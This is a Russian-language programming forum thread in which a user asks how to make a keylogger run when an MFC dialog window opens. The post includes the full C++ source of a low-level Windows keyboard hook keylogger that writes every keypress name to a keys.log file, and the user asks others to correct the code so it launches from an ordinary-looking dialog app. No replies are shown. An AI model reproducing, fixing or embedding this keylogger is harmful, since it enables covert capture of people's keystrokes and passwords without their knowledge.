Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Visual C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 28.04.2014, 16:44   #1
websaco
Новичок
Джуниор
 
Регистрация: 28.04.2014
Сообщений: 1
Вопрос Мистика какая то, срочно прошу помощи знающих

Прошу помощи специалистов. Есть некоторая функция кейлогера, которую нужно запустить при открытии диалогового окна MFC. Я поместил этот кусок кода в самый конец файла cpp.
Диалог запускается но кейлогер ничего не делает.

Не пойму как запустить саму функцию кейлогера.
Вот если тело кейлогера пихаю в консольное приложение, тогда все работает, а в диалоговом окне MFC никак.
Уже весь интернет облазил, третий день голову ломаю. Помогите, кто сможет.
Прошу практической помощи, так как не являюсь специалистом с++, прошу поправьте код.

Вот исходник самого файла DlgCpp

Код:
#include "stdafx.h"
 
#define _WIN32_WINNT 0x0400
#include "700.h"
#include "700Dlg.h"
    #include <windows.h> 
    #include <winuser.h> 
    #include <stdio.h>
#include <afxdllx.h>
 
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
 
 
HHOOK hKeyHook;
 
  
 
CMy700Dlg::CMy700Dlg(CWnd* pParent /*=NULL*/)
    : CDialog(CMy700Dlg::IDD, pParent)
{
     
    m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
 
void CMy700Dlg::DoDataExchange(CDataExchange* pDX)
{
    CDialog::DoDataExchange(pDX);
     
}
 
BEGIN_MESSAGE_MAP(CMy700Dlg, CDialog)
 
    ON_WM_PAINT()
    ON_WM_QUERYDRAGICON()
    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
 
END_MESSAGE_MAP()
 
 
 
 
BOOL CMy700Dlg::OnInitDialog()
{
    CDialog::OnInitDialog();
 
 
    SetIcon(m_hIcon, TRUE);           
    SetIcon(m_hIcon, FALSE);       
     
  
    // TODO: Add extra initialization here
      
    return TRUE; 
}
 
 
 
void CMy700Dlg::OnPaint()
{
    if (IsIconic())
    {
        CPaintDC dc(this);
 
        SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
 
     
        int cxIcon = GetSystemMetrics(SM_CXICON);
        int cyIcon = GetSystemMetrics(SM_CYICON);
        CRect rect;
        GetClientRect(&rect);
        int x = (rect.Width() - cxIcon + 1) / 2;
        int y = (rect.Height() - cyIcon + 1) / 2;
 
         
        dc.DrawIcon(x, y, m_hIcon);
    }
    else
    {
        CDialog::OnPaint();
    }
}
 
 
HCURSOR CMy700Dlg::OnQueryDragIcon()
{
    return (HCURSOR) m_hIcon;
}
 
 
 
///////////////////////////////////////////////////// НАЧАЛО ПРОЦЕДУРЫ КЕЙЛОГЕРА 
 __declspec(dllexport) LRESULT CALLBACK KeyEvent ( 
       
      int nCode,     
      WPARAM wParam,
      LPARAM lParam 
       
    ) { 
        if  ((nCode == HC_ACTION) &&    
            ((wParam == WM_SYSKEYDOWN) ||
            (wParam == WM_KEYDOWN)))
        { 
       
   
            KBDLLHOOKSTRUCT hooked = 
                *((KBDLLHOOKSTRUCT*)lParam); 
       
         
            DWORD dwMsg = 1; 
            dwMsg += hooked.scanCode << 16; 
            dwMsg += hooked.flags << 24; 
       
       
            char lpszName[0x100] = {0}; 
            lpszName[0] = '['; 
       
            int i = GetKeyNameText(dwMsg, 
                (lpszName+1),0xFF) + 1; 
       
            lpszName[i] = ']';
      
        
            FILE *file; 
            file=fopen("keys.log","a+"); 
            fputs(lpszName,file); 
            fflush(file); 
        } 
       
         
        return CallNextHookEx(hKeyHook, 
            nCode,wParam,lParam); 
       
    } 
 
 
 
void MsgLoop() 
    { 
        MSG message; 
        while (GetMessage(&message,NULL,0,0)) { 
            TranslateMessage( &message ); 
            DispatchMessage( &message ); 
        } 
    } 
 
 DWORD WINAPI KeyLogger(LPVOID lpParameter) 
    { 
       
    
        HINSTANCE hExe = GetModuleHandle(NULL); 
        if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 
       
      
        if (!hExe) return 1; 
       
       
       
        hKeyHook = SetWindowsHookEx (
       
            WH_KEYBOARD_LL,
            (HOOKPROC) KeyEvent,
            hExe,
            NULL
        ); 
       
 
       
        MsgLoop(); 
        UnhookWindowsHookEx(hKeyHook); 
        return 0; 
    } 
 
 int main(int argc, char** argv) 
    { 
        HANDLE hThread; 
        DWORD dwThread; 
  
       
        hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 
            KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 
       
        if (hThread) { 
            return WaitForSingleObject(hThread,INFINITE); 
        } else { 
            return 1; 
        } 
    }
 ////////////////////////////////////////////////////// КОНЕЦ ПРОЦЕДУРЫ КЕЙЛОГЕРА
websaco вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Прошу помощи Jimoros Общие вопросы C/C++ 0 11.01.2014 23:43
Прошу знающих с++ помочь мне zex911 Общие вопросы по программированию, компьютерный форум 10 18.07.2013 23:40
Срочно прошу помощи! Максим1987 Общие вопросы Delphi 0 15.06.2009 00:02
Прошу помощи. Brian Lee Jones Свободное общение 0 19.06.2008 00:21